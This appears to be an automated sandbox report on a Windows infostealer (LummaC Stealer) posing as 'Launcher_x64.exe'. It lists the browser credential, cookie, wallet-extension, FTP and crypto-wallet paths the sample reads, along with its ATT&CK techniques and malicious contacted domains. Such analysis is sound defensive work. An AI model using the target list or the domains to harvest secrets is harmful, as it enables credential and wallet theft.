Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Launcher_x64.exe PID: 3336, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 00000003.00000003.2556263712.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2602917926.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2555293768.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Launcher_x64.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Launcher_x64.exe	29%	ReversingLabs	Win32.Infostealer.Generic
Launcher_x64.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sendypaster.xyz	193.143.1.9	true	true	unknown
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
steppriflej.xyz	193.143.1.9	true	true	unknown
supporse-comment.cyou	unknown	unknown	true	unknown
ripe-blade.cyou	unknown	unknown	true	unknown
greywe-snotty.cyou	unknown	unknown	true	unknown
hosue-billowy.cyou	unknown	unknown	true	unknown
bellflamre.click	unknown	unknown	false	high
smash-boiling.cyou	unknown	unknown	true	unknown
pollution-raker.cyou	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	true	unknown
steppriflej.xyz	true	unknown
smash-boiling.cyou	true	unknown
https://steamcommunity.com/profiles/76561199724331900	false	high
ripe-blade.cyou	true	unknown
https://lev-tolstoi.com/api	false	high
greywe-snotty.cyou	true	unknown
supporse-comment.cyou	true	unknown
hosue-billowy.cyou	true	unknown
bellflamre.click	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://player.vimeo.com	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/piE	Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	high
